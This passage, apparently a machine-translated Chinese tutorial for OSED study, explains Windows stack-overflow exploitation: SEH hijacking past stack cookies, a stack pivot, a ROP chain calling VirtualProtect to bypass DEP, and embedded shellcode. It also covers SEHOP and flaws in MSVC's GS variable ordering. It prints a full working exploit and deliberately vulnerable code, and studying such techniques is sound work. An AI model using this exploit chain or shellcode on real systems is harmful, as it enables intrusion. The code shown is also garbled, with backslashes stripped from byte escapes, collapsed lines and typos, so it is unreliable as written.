    在右侧突出显示的区域中,我们可以看到堆栈的底部位于0x010FF3C0 处。但是,您可能会注意到堆栈上的任何值都不是源自我们的堆栈溢出,您可能还记得它重复地将伪造的 SEH 处理程序的地址喷射到堆栈上,直到发生访问冲突。在左侧突出显示的区域中,我们可以看到溢出在0x010FFA0C附近开始的位置。因此, NTDLL.DLL已将ESP带到异常后的地址是我们用溢出控制的堆栈区域下方的0x64C 字节(请记住,堆栈向下增长而不是向上增长)。考虑到这些信息,不难理解发生了什么。当NTDLL.DLL处理异常时,它开始使用异常发生时ESP下方的堆栈区域,这是我们无法影响的区域,因此无法写入我们的 ROP 链。

    因此,产生了一个有趣的问题。我们的虚假 SEH 处理程序需要将ESP移回由溢出控制的堆栈区域,然后才能执行 ROP 链。当我们的断点被命中时检查ESP的值,我们可以看到一个返回到NTDLL.DLL的返回地址,位于0x010FF3C0(无用),然后是另一个低于我们所需堆栈范围(0x010FF4C4)的地址,位于0x010FF3C4(也无用)。然而, 0x010FF3C8处0x010FF3A74的第三个值直接落在我们控制区域上方的范围内,从0x010FFA0C开始,在偏移量 0x64 处。重新检查异常处理程序的原型,很明显这第三个值(表示传递给处理程序的第二个参数)对应于 Windows 传递给 SEH 处理程序的“已建立帧”指针。

EXCEPTION_DISPOSITION __cdecl SehHandler(EXCEPTION_RECORD* pExceptionRecord, void* pEstablisherFrame, CONTEXT* pContextRecord, void* pDispatcherContext)

    在调试器中检查堆栈上的 0x010FF3A74 地址,我们可以更详细地了解此参数(也称为 NSEH)指向的位置:

OSED(那些学习过程中被人们遗忘的东西)

图 17. 传递给 SEH 处理程序的已建立帧参数指示的堆栈区域

    果然,我们可以看到这个地址指向了由溢出控制的堆栈区域(现在填充了喷射的处理程序地址)。具体来说,它直接指向前面提到的我们重写并用于劫持 EIP 的 EXCEPTION_REGISTRATION_RECORD 结构的开始。理想情况下,我们的虚假 SEH 处理程序会将 ESP 设置为 [ESP + 8],并且我们会将 ROP 链的开头放置在被溢出覆盖的 EXCEPTION_REGISTRATION_RECORD 结构的开头。这种类型的堆栈枢轴的理想小工具是 POP REG;POP REG;POP ESP;RET 或此逻辑的某些变体,但是 msvbvm60.dll 不包含此小工具,我不得不即兴发挥不同的解决方案。如前所述,当 NTDLL 将 EIP 重定向到我们的虚假 SEH 处理程序时,ESP 在堆栈上的偏移量比我们用溢出控制的区域低 0x64C。因此,对于堆栈枢轴问题,一个不太优雅的解决方案是简单地向 ESP 添加一个大于或等于 0x64C 的值。Ropper 具有提取潜在堆栈枢轴小工具的功能,合适的小工具可以从中快速浮出水面:

OSED(那些学习过程中被人们遗忘的东西)

图 18. 使用 Ropper 从 msvbvm60.dll 提取堆栈数据

    添加ESP,0x1004;RET是一个有点混乱的小工具:它超出了溢出的开始 0x990 (0x1004 - 0x64C) 字节,但是没有其他选择,因为它是唯一一个值大于 0x64C的ADD ESP 。这个堆栈轴将在溢出开始后占用ESP 0x990 或 0x98C 字节(同一应用程序的不同实例以及不同版本的 Windows 之间存在一些不一致)。这意味着我们需要在实际的 ROP 链开始之前用 0x98C 垃圾字节和一个ROPNOP填充溢出。

OSED(那些学习过程中被人们遗忘的东西)

图 19. EIP 劫持后溢出时的堆栈布局

    将这些知识整合到一段代码中,我们就得到了最终的漏洞利用和易受攻击的应用程序:


#include <Windows.h>#include <stdio.h>#include <stdint.h>
uint8_t Exploit[] =    "AAAAAAAAAAAAAAAA" // 16 bytes for buffer length    "AAAA" // Stack cookie    "AAAA" // EBP    "AAAA" // Return address    "AAAA" // Overflow() | Param #1 | pInputBuf    "AAAA" // Overflow() | Param #2 | dwInputBufSize    "DDDD" // EXECEPTION_REGISTRATION_RECORD.Next    "xf3x28x0fx66"// EXECEPTION_REGISTRATION_RECORD.Handler | 0x660f28f3 | ADD ESP, 0x1004; RET    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"    "xf9x28x0fx66" // 0x660F28F9 | ROPNOP    // ROP chain begins    // EAX = NOP sled    // ECX = Old protection (writable address)    // EDX = PAGE_EXECUTE_READWRITE    // EBX = Size    // EBP = VirtualProtect return address (JMP ESP)    // ESI = KERNEL32.DLL!VirtualProtect    // EDI = ROPNOP    "x54x1ex00x66" // 0x66001e54 | Gadget #1 | POP ESI ; RET    "xd0x10x00x66" // 0x660010d0 -> ESI | <msvbvm60.dll!VirtualProtect thunk>    "xfcx50x05x66" // 0x660550fc | Gadget #2 | MOV EAX, DWORD [ESI] ; POP ESI; RET    "xefxbexadxde" // Junk    "xf8x9fx0fx66" // 0x660f9ff8 | Gadget #3 | XCHG EAX, ESI; RET    "x1fx98x0ex66" // 0x660e981f | Gadget #4 | POP EAX; RET    "x90x90x90x90" // NOP sled -> EAX | JMP ESP will point here    "xf0x1dx00x66" // 0x66001df0 | Gadget #5 | POP EBP; RET    "xeaxcbx01x66" // 0x6601CBEA -> EBP | <Gadget #12>    "x10x1fx00x66" // 0x66001f10 | Gadget #6 | POP EBX; RET    "x00x20x00x00" // 0x2000 -> EBX | VirtualProtect() | Param #2 | dwSize    "x21x44x06x66" // 0x66064421 | Gadget #7 | POP EDX; RET    "x40x00x00x00" // 0x40 -> EDX | VirtualProtect() | Param #3 | flNewProtect | PAGE_EXECUTE_READWRITE    "xf2x1fx00x66" // 0x66001ff2 | Gadget #8 | POP ECX; RET    "x00xa0x10x66" // 0x6610A000 -> ECX | VirtualProtect() | Param #4 | lpflOldProtect    "x5bx57x00x66" // 0x6600575b | Gadget #9 | POP EDI; RET    "xf9x28x0fx66" // 0x660F28F9 -> EDI | <Gadget #11>    "x54x12x05x66" // 0x66051254 | Gadget #10 | PUSHAD; RET    // 0x660F28F9 | Gadget #11 | ROPNOP | returns into VirtualProtect    // 0x6601CBEA | Gadget #12 | PUSH ESP; RET | return address from VirtualProtect    // Shellcode    "x55x89xe5x68x88x4ex0dx00xe8x53x00x00x00x68x86x57"    "x0dx00x50xe8x94x00x00x00x68x33x32x00x00x68x55x73"    "x65x72x54xffxd0x68x1axb8x06x00x50xe8x7cx00x00x00"    "x6ax64x68x70x77x6ex65x89xe1x68x6ex65x74x00x68x6f"    "x72x72x2ex68x65x73x74x2dx68x66x6fx72x72x68x77x77"    "x77x2ex89xe2x6ax00x52x51x6ax00xffxd0x89xecx5dxc3"    "x55x89xe5x57x56xbex30x00x00x00x64xadx8bx40x0cx8b"    "x78x18x89xfex31xc0xebx04x39xf7x74x28x85xf6x74x24"    "x8dx5ex24x85xdbx74x14x8bx4bx04x85xc9x74x0dx6ax01"    "x51xe8x5dx01x00x00x3bx45x08x74x06x31xc0x8bx36xeb"    "xd7x8bx46x10x5ex5fx89xecx5dxc2x04x00x55x89xe5x81"    "xecx30x02x00x00x8bx45x08x89x45xf8x8bx55xf8x03x42"    "x3cx83xc0x04x89x45xf0x83xc0x14x89x45xf4x89xc2x8b"    "x45x08x03x42x60x8bx4ax64x89x4dxd0x89x45xfcx89xc2"    "x8bx45x08x03x42x20x89x45xecx8bx55xfcx8bx45x08x03"    "x42x24x89x45xe4x8bx55xfcx8bx45x08x03x42x1cx89x45"    "xe8x31xc0x89x45xe0x89x45xd8x8bx45xfcx8bx40x18x3b"    "x45xe0x0fx86xd2x00x00x00x8bx45xe0x8dx0cx85x00x00"    "x00x00x8bx55xecx8bx45x08x03x04x11x89x45xd4x6ax00"    "x50xe8xbdx00x00x00x3bx45x0cx0fx85xa1x00x00x00x8b"    "x45xe0x8dx14x00x8bx45xe4x0fxb7x04x02x8dx0cx85x00"    "x00x00x00x8bx55xe8x8bx45x08x03x04x11x89x45xd8x8b"    "x4dxfcx89xcax03x55xd0x39xc8x7cx7fx39xd0x7dx7bxc7"    "x45xd8x00x00x00x00x31xc9x8dx9dxd0xfdxffxffx8ax14"    "x08x80xfax00x74x20x80xfax2ex75x15xc7x03x2ex64x6c"    "x6cx83xc3x04xc6x03x00x8dx9dxd0xfexffxffx41xebxde"    "x88x13x41x43xebxd8xc6x03x00x8dx9dxd0xfdxffxffx6a"    "x00x53xe8x3cx00x00x00x50xe8xa3xfexffxffx85xc0x74"    "x29x89x45xdcx6ax00x8dx95xd0xfexffxffx52xe8x21x00"    "x00x00x50xffx75xdcxe8xd1xfexffxffx89x45xd8xebx0a"    "x8dx45xe0xffx00xe9x1fxffxffxffx8bx45xd8x89xecx5d"    "xc2x08x00x55x89xe5x57x8bx4dx08x8bx7dx0cx31xdbx80"    "x39x00x74x14x0fxb6x01x0cx60x0fxb6xd0x01xd3xd1xe3"    "x41x85xffx74xeax41xebxe7x89xd8x5fx89xecx5dxc2x08"    "x00";
void Overflow(uint8_t* pInputBuf, uint32_t dwInputBufSize) {    char Buf[16] = { 0 };    memcpy(Buf, pInputBuf, dwInputBufSize);}
int32_t wmain(int32_t nArgc, const wchar_t* pArgv[]) {    char Junk[0x5000] = { 0 }; // Move ESP lower to ensure the exploit data can be accomodated in the overflow    HMODULE hModule = LoadLibraryW(L"msvbvm60.dll");    __asm {       Push 0xdeadc0de // Address of handler function       Push FS:[0]     // Address of previous handler       Mov  FS:[0], Esp   // Install new EXECEPTION_REGISTRATION_RECORD    }
    printf("... loaded non-ASLR/non-SafeSEH module msvbvm60.dll to 0x%prn", hModule);    printf("... passing %d bytes of data to vulnerable functionrn"sizeof(Exploit) - 1);    Overflow(Exploit, 0x20000);    return 0;}

图 20. 易受攻击的堆栈溢出应用程序和漏洞利用通过 SEH 劫持绕过堆栈 cookie

    上面的代码中有几个细节值得吸收。首先,您可能会注意到我通过将垃圾异常处理程序 ( 0xdeadc0de ) 链接到 TEB ( FS[0] ) 中的处理程序列表来显式注册一个垃圾异常处理程序 (0xdeadc0de )。我这样做是因为我发现将NTDLL.DLL注册的默认处理程序覆盖到堆栈顶部不太可靠。这是因为有时没有足够的空间将我的整个 shellcode 保存在堆栈的顶端,这会从VirtualProtect触发STATUS_CONFLICTING_ADDRESSES错误(代码0xc0000015 ) 。

    图 20中另一个值得注意的细节是,我在 ROP 链末端的溢出中添加了自己的 shellcode。

    编译易受攻击的程序后,我们可以逐步执行漏洞利用并查看溢出数据如何合并以执行 shellcode。

OSED(那些学习过程中被人们遗忘的东西)

图 21. 易受攻击的应用程序在堆栈溢出之前的状态

    在第一个断点处,我们可以在0x00B9ABC8的堆栈上看到目标EXCEPTION_REGISTRATION_RECORD。溢出后,我们可以预期处理程序字段将被我们的假 SEH 处理程序的地址覆盖。

OSED(那些学习过程中被人们遗忘的东西)

图 22. memcpy 写入堆栈末尾后引发的访问冲突异常

    由于REP MOVSB指令试图将数据写入堆栈末尾,因此在 memcpy 函数中发生访问冲突异常。在0x00B9ABCC 处,我们可以看到EXCEPTION_REGISTRATION_RECORD结构的处理程序字段已被msvbvm60.dll中的堆栈透视小工具的地址覆盖。

OSED(那些学习过程中被人们遗忘的东西)

图 23. 假 SEH 处理程序将 ESP 转回由溢出控制的区域

    向上旋转堆栈 0x1004 字节,我们可以在突出显示的区域中看到ESP现在指向我们的 ROP 链的开始。此 ROP 链将填充所有相关寄存器的值以准备PUSHAD小工具,该小工具会将它们移动到堆栈上并准备KERNEL32.DLL!VirtualProtect调用。

OSED(那些学习过程中被人们遗忘的东西)

图 24. PUSHAD 准备 DEP 绕过调用堆栈

    执行完PUSHAD指令后,我们可以看到ESP现在指向msvbvm60.dll中的ROPNOP,紧接着是KERNEL32.DLL中 VirtualProtect 的地址。在0x00B9B594,我们可以看到传递给 VirtualProtect 的第一个参数是我们的 shellcode 在堆栈中的地址0x00B9B5A4(在图 24中突出显示)。

OSED(那些学习过程中被人们遗忘的东西)

图 25. ROP 链将 EIP 设置为 ESP 的最终小工具

    一旦 VirtualProtect 返回,ROP 链中的最后一个小工具将EIP重定向到ESP的值,它现在将指向直接存储在 ROP 链之后的 shellcode 的开始。你会注意到shellcode的前4个字节实际上是ROP链通过PUSHAD指令动态生成的NOP指令,而不是溢出写入的shellcode的开始。

OSED(那些学习过程中被人们遗忘的东西)

图 26. 消息框 shellcode 在堆栈上成功执行,完成了漏洞利用

SEHOP

    还有一种额外的(明显更强大的)SEH 劫持缓解机制,称为SEH 覆盖保护(SEHOP) 在 Windows 中将中和此处描述的方法。引入 SEHOP 的目的是检测 EXCEPTION_REGISTRATION_RECORD 损坏,而无需重新编译应用程序或依赖于每个模块的漏洞利用缓解解决方案,例如 SafeSEH。它通过在 SEH 链的底部引入一个额外的链接来实现这一点,并验证在发生异常时可以通过遍历 SEH 链来到达该链接。由于 EXCEPTION_REGISTRATION_RECORD 的 NSEH 字段存储在处理程序字段之前,这使得不可能通过堆栈溢出破坏现有的 SEH 处理程序而不破坏 NSEH 并破坏整个链(原则上类似于堆栈金丝雀,其中金丝雀是NSEH 字段本身)。SEHOP 是随 Windows Vista SP1(默认禁用)和 Windows Server 2008(默认启用)引入的,并且在过去十年中一直处于这种半启用状态(在工作站上禁用,在服务器上启用)。值得注意的是,最近随着 Windows 10 v1709 的发布,这种情况发生了变化;SEHOP 现在显示为在 10 上的 Windows 安全应用程序中默认启用的漏洞缓解功能。

OSED(那些学习过程中被人们遗忘的东西)

图 27. Windows 10 上 Windows 安全中心的 SEHOP 设置

    这似乎与上一节中在同一 Windows 10 虚拟机上探讨的 SEH 劫持溢出相矛盾。为什么 SEHOP 在漏洞利用的初始阶段没有阻止 EIP 重定向到堆栈枢轴?答案并不完全清楚,但这似乎是微软配置错误的问题。当我进入之前探索过的溢出中使用的 EXE 的单个程序设置并手动选择“覆盖系统设置”框时,SEHOP 突然开始缓解漏洞,而我的堆栈枢轴永远不会执行。令人费解的是,默认设置已经在进程中启用 SEHOP。

OSED(那些学习过程中被人们遗忘的东西)

图 28. 堆栈溢出 EXE 上的 SEHOP 设置

    这可能是 Microsoft 的故意配置,在图 28中只是被歪曲了。由于 SEHOP 与 Skype 和 Cygwin 等第三方应用程序不兼容,SEHOP 在历史上一直默认被广泛禁用(Microsoft 在此处讨论此问题)。当 SEHOP 与本文讨论的其他漏洞利用缓解措施一起正确启用时,SEH 劫持成为一种不可行的利用堆栈溢出的方法,而不会出现链式内存泄漏(任意读取)或任意写入原语。任意读取可以允许 NSEH 字段在溢出前被泄露,从而可以制作溢出数据,以免在 EIP 劫持期间破坏 SEH 链。使用任意写入原语(在下一节中讨论)可以覆盖存储在堆栈上的返回地址或 SEH 处理程序,而不会破坏 NSEH 或堆栈金丝雀值,从而绕过 SEHOP 和堆栈 cookie 缓解措施。

任意写入和局部变量损坏

    在某些情况下,不需要溢出函数堆栈帧的末尾来触发EIP重定向。如果我们能够在不需要覆盖堆栈 cookie 的情况下成功获得代码执行,那么堆栈 cookie 验证检查就可以安抚了。可以做到这一点的一种方法是使用堆栈溢出来破坏函数中的局部变量,以便操纵应用程序将我们选择的值写入我们选择的地址。下面的示例函数包含可以假设以这种方式利用的逻辑。

uint32_t gdwGlobalVar = 0;
void Overflow(uint8_t* pInputBuf, uint32_t dwInputBufSize) {    char Buf[16];    uint32_t dwVar1 = 1;    uint32_t* pdwVar2 = &gdwGlobalVar;
    memcpy(Buf, pInputBuf, dwInputBufSize);    *pdwVar2 = dwVar1;}

图 29. 假设任意写入堆栈溢出的函数

    从根本上说,这是一个我们有兴趣利用的非常简单的代码模式:

    1. 该函数必须包含易受堆栈溢出影响的数组或结构。

    2. 该函数必须至少包含两个局部变量:一个取消引用的指针和一个用于写入此指针的值。

    3. 该函数必须使用局部变量写入取消引用的指针,并在堆栈溢出发生后执行此操作。

    4. 该函数必须以这样一种方式编译,即溢出的数组存储在堆栈中低于局部变量。

    最后一点值得进一步研究。我们希望 MSVC(Visual Studio 2019 使用的编译器)编译图 29 中的代码,将 Buf 的 16 个字节放置在分配的堆栈帧中内存的最低区域(总共应该是包含堆栈 cookie 时为 28 个字节),然后是最高区域的 dwVar1 和 pdwVar2。这种顺序与源代码中声明这些变量的顺序一致;它将允许 Buf 向前溢出到更高的内存并用我们选择的值覆盖 dwVar1 和 pdwVar2 的值,从而导致我们覆盖 dwVar1 的值被放置在我们选择的内存地址中。然而在实践中,情况并非如此,编译器为我们提供了以下程序集:

push ebpmov ebp,espsub esp,1Cmov eax,dword ptr ds:[<___security_cookie>]xor eax,ebpmov dword ptr ss:[ebp-4],eaxmov dword ptr ss:[ebp-1C],1mov dword ptr ss:[ebp-18],<preciseoverwrite.unsigned int gdwGlobalVar>mov ecx,dword ptr ss:[ebp+C]push ecxmov edx,dword ptr ss:[ebp+8]push edxlea eax,dword ptr ss:[ebp-14]push eaxcall <preciseoverwrite._memcpy>add esp,Cmov ecx,dword ptr ss:[ebp-18]mov edx,dword ptr ss:[ebp-1C]mov dword ptr ds:[ecx],edxmov ecx,dword ptr ss:[ebp-4]xor ecx,ebpcall <preciseoverwrite.@__security_check_cookie@4>mov esp,ebppop ebpret

图 30. 图 29 中假设的易受攻击函数的编译

    根据这个反汇编我们可以看到编译器在 EBP - 0x4 和 EBP - 0x14 之间的内存最高部分选择了一个对应于 Buf 的区域,并在 EBP - 内存的最低部分选择了一个用于 dwVar1 和 pdwVar2 的区域 0x1C 和 EBP - 0x18 分别。这种排序使易受攻击的函数免受通过堆栈溢出破坏局部变量的影响。也许最有趣的是,dwVar1 和 pdwVar2 的顺序与它们在源代码中相对于 Buf 的声明顺序相矛盾。这最初让我觉得很奇怪,因为我相信 MSVC 会根据变量的声明顺序对变量进行排序,但进一步的测试证明情况并非如此。事实上,进一步的测试表明,MSVC 不会根据变量的声明、类型或名称的顺序对变量进行排序,而是根据它们在源代码中引用(使用)的顺序。具有最高引用计数的变量将优先于具有较低引用计数的变量。

void Test() {    uint32_t A;    uint32_t B;    uint32_t C;    uint32_t D;
    B = 2;    A = 1;    D = 4;    C = 3;    C++;}

图 31. C 语言中一个反直觉的变量排序示例

    因此,我们可以期望此函数的编译以以下方式对变量进行排序:C、B、A、D。这与引用(使用)变量的顺序匹配,而不是声明它们的顺序,但有例外 C,我们可以期望它被放在第一位(在内存中最高,与 EBP 的偏移量最小),因为它被引用了两次,而其他变量都只被引用了一次。

push ebpmov ebp,espsub esp,10mov dword ptr ss:[ebp-8],2mov dword ptr ss:[ebp-C],1mov dword ptr ss:[ebp-10],4mov dword ptr ss:[ebp-4],3mov eax,dword ptr ss:[ebp-4]add eax,1mov dword ptr ss:[ebp-4],eaxmov esp,ebppop ebpret

图 32. 图 31 中 C 源的反汇编

    果然,我们可以看到所有变量都按照我们预测的顺序排列,C 在 EBP - 4 中排在第一位。不过,MSVC 使用的排序逻辑的这一揭示与我们在图 30 中看到的相矛盾。毕竟, dwVar1 和 pdwVar2 都具有比 Buf 更高的引用计数(每个两个)(在 memcpy 中只有一个),并且都在 Buf 之前被引用。那么发生了什么?GS 包含一个额外的安全缓解功能,该功能尝试安全地对局部变量进行排序,以防止通过堆栈溢出进行可利用的损坏。

OSED(那些学习过程中被人们遗忘的东西)

图 33. 作为 GS 的一部分应用的安全变量排序堆栈布局

在项目设置中禁用 GS,会生成以下代码。

push ebpmov ebp,espsub esp,18mov dword ptr ss:[ebp-8],1mov dword ptr ss:[ebp-4],<preciseoverwrite.unsigned int gdwGlobalVar>mov eax,dword ptr ss:[ebp+C]push eaxmov ecx,dword ptr ss:[ebp+8]push ecxlea edx,dword ptr ss:[ebp-18]push edxcall <preciseoverwrite._memcpy>add esp,Cmov eax,dword ptr ss:[ebp-4]mov ecx,dword ptr ss:[ebp-8]mov dword ptr ds:[eax],ecxmov esp,ebppop ebpret

图 34. 图 29 中的源代码在没有 /GS 标志的情况下编译。

    将上面图 34 中的反汇编与图 30 中的原始(安全)反汇编进行仔细比较,您会注意到从该函数中删除的不仅是堆栈 cookie 检查。实际上,MSVC 已经以与其正常规则一致的方式完全重新排序了堆栈上的变量,因此将 Buf 数组放置在内存的最低区域 (EBP - 0x18)。因此,此函数现在容易受到堆栈溢出导致局部变量损坏的影响。

    在用多种不同的变量类型(包括其他数组类型)测试了相同的逻辑之后,我得出结论,MSVC 对数组和结构(GS 缓冲区)有一个特殊的规则,并且总是将它们放在内存的最高区域以免疫编译通过堆栈溢出对局部变量损坏的函数。考虑到这些信息,我开始尝试评估这种安全机制的复杂程度,以及我可以想出多少边缘情况来绕过它。我找到了几个,以下是我认为最值得注意的例子。

    首先,让我们看看如果图 29 中的 memcpy 被移除会发生什么。

void Overflow() {    uint8_t Buf[16] = { 0 };    uint32_t dwVar1 = 1;    uint32_t* pdwVar2 = &gdwGlobalVar;
    *pdwVar2 = dwVar1;}

图 35. 包含未引用数组的函数

    我们希望 MSVC 安全排序规则始终将数组放置在内存的最高区域以免疫函数,但是反汇编说明了一个不同的故事。

push ebpmov ebp,espsub esp,18xor eax,eaxmov dword ptr ss:[ebp-18],eaxmov dword ptr ss:[ebp-14],eaxmov dword ptr ss:[ebp-10],eaxmov dword ptr ss:[ebp-C],eaxmov dword ptr ss:[ebp-8],1mov dword ptr ss:[ebp-4],<preciseoverwrite.unsigned int gdwGlobalVar>mov ecx,dword ptr ss:[ebp-4]mov edx,dword ptr ss:[ebp-8]mov dword ptr ds:[ecx],edxmov esp,ebppop ebpret

图 36. 图 35 中源代码的反汇编

    MSVC 已从函数中删除堆栈 cookie。MSVC 还将 Buf 数组放置在内存的最低区域,这违背了其典型的安全策略;如果缓冲区未被引用,它将不会考虑 GS 缓冲区进行安全重新排序。因此提出了一个有趣的问题:什么是参考?令人惊讶的是,答案不是我们所期望的(引用只是函数中对变量的任何使用)。某些类型的变量使用不算作引用,因此不会影响变量排序。

void Test() {    uint8_t Buf[16]};    uint32_t dwVar1 = 1;    uint32_t* pdwVar2 = &gdwGlobalVar;
    Buf[0] = 'A';    Buf[1] = 'B';    Buf[2] = 'C';    *pdwVar2 = dwVar1;}

图 37. 三重引用数组和两个双引用局部变量

    在上面的示例中,我们希望将 Buf 放置在内存中的第一个(最高)插槽中,因为它被引用了 3 次,而 dwVar1 和 pdwVar2 分别只被引用了两次。 这个函数的反汇编与此相矛盾。

push ebpmov ebp,espsub esp,18mov dword ptr ss:[ebp-8],1mov dword ptr ss:[ebp-4],<preciseoverwrite.unsigned int gdwGlobalVar>mov eax,1imul ecx,eax,0mov byte ptr ss:[ebp+ecx-18],41mov edx,1shl edx,0mov byte ptr ss:[ebp+edx-18],42mov eax,1shl eax,1mov byte ptr ss:[ebp+eax-18],43mov ecx,dword ptr ss:[ebp-4]mov edx,dword ptr ss:[ebp-8]mov dword ptr ds:[ecx],edxmov esp,ebppop ebpret

图 38. 反汇编图 37 中的代码

    Buf 在 EBP - 0x18 处一直处于堆栈内存的最低点,尽管它是一个数组并且比任何其他局部变量都使用得更多。 图 38 中另一个有趣的反汇编细节是 MSVC 没有给它提供安全 cookie。 除了任意写入漏洞之外,这将允许返回地址的经典堆栈溢出。

#include <stdio.h>#include <stdint.h>
uint8_t Exploit[] =    "AAAAAAAAAAAAAAAA"  // 16 bytes for buffer length    "xdexc0xadxde"  // New EIP 0xdeadc0de    "x1cxffx19x00"// 0x0019FF1c
uint32_t gdwGlobalVar = 0;
void OverflowOOBW(uint8_t* pInputBuf, uint32_t dwInputBufSize) {    uint8_t Buf[16];    uint32_t dwVar1 = 1;    uint32_t* pdwVar2 = &gdwGlobalVar;
    for (uint32_t dwX = 0; dwX < dwInputBufSize; dwX++) {   Buf[dwX] = pInputBuf[dwX];    }
    *pdwVar2 = dwVar1;}

图 39. 越界写入漏洞

    编译和执行上面的代码会导致一个没有堆栈 cookie 的函数和一个不安全的变量排序,通过精确覆盖 0x0019FF1c 的返回地址导致 EIP 劫持(我在这个例子中禁用了 ASLR)。 安全 cookie 保持不变。

OSED(那些学习过程中被人们遗忘的东西)

图 40. EIP 劫持通过越界写入任意写入返回地址

    我们可以根据这些实验得出结论:

    MSVC 包含一个错误,它错误地评估了函数对堆栈溢出攻击的潜在敏感性。

    此错误源于以下事实:MSVC 使用某种形式的内部引用计数来确定变量排序,并且当变量的引用计数为零时,它被排除在常规安全排序和堆栈 cookie 安全缓解措施之外(即使它是GS 缓冲区)。

    按索引读取/写入数组不算作参考。因此,以这种方式访问数组的函数将没有堆栈溢出安全性。

    对于可能无法正确防止堆栈溢出的代码模式,我还有其他几个想法,从结构/类的概念开始。虽然函数堆栈框架内的变量排序没有标准化或契约(完全由编译器自行决定),但对于结构却不能这样说;编译器必须严格遵守源代码中声明变量的顺序。因此,如果一个结构包含一个数组,后面跟着其他变量,这些变量就不能安全地重新排序,因此可能会因溢出而损坏。

struct MyStruct {    char Buf[16];    uint32_t dwVar1;    uint32_t *pdwVar2;};
void OverflowStruct(uint8_t* pInputBuf, uint32_t dwInputBufSize) {    struct MyStruct TestStruct = { 0 };    TestStruct.dwVar1 = 1;    TestStruct.pdwVar2 = &gdwGlobalVar;    memcpy(TestStruct.Buf, pInputBuf, dwInputBufSize);    *TestStruct.pdwVar2 = TestStruct.dwVar1;}

